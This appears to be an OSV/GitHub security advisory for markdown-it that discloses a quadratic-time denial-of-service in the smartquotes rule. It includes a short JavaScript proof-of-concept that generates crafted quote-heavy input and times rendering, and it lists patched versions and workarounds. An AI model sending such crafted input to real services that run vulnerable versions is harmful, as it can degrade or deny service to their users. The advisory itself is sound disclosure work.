GHSA-r7fv-28h4-cvq7

Suggest an improvement
Source
https://github.com/advisories/GHSA-r7fv-28h4-cvq7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-r7fv-28h4-cvq7/GHSA-r7fv-28h4-cvq7.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-r7fv-28h4-cvq7
Aliases
Published
2026-10-20T14:34:50Z
Modified
2026-10-20T14:45:03Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes
Details

Impact

When typographer: true is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.

Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.

The default configuration (typographer: false) is not affected, but this option is enabled with high probability.

Reproduction

import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const md = new MarkdownIt({ typographer: true })

for (const k of [2000, 4000, 8000, 16000, 32000]) {
  const input = '"a '.repeat(k) + "b' ".repeat(k)
  const start = performance.now()
  md.render(input)
  console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}

Result:

input size time
12000 18ms
24000 47ms
48000 115ms
96000 428ms
192000 1586ms

Patches

Fixed in 15.0.2 and 14.3.2.

Workarounds

Disable typography with typographer: false, or disable only the smartquotes rule:

md.disable('smartquotes')
Database specific
{
    "cwe_ids":  [
        "CWE-400",
        "CWE-407"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-20T14:34:50Z",
    "nvd_published_at":  "2026-10-19T18:17:00Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / markdown-it

Package

Affected ranges

Type
SEMVER
Events
Introduced
15.0.0
Fixed
15.0.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-r7fv-28h4-cvq7/GHSA-r7fv-28h4-cvq7.json"

npm / markdown-it

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
14.3.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-r7fv-28h4-cvq7/GHSA-r7fv-28h4-cvq7.json"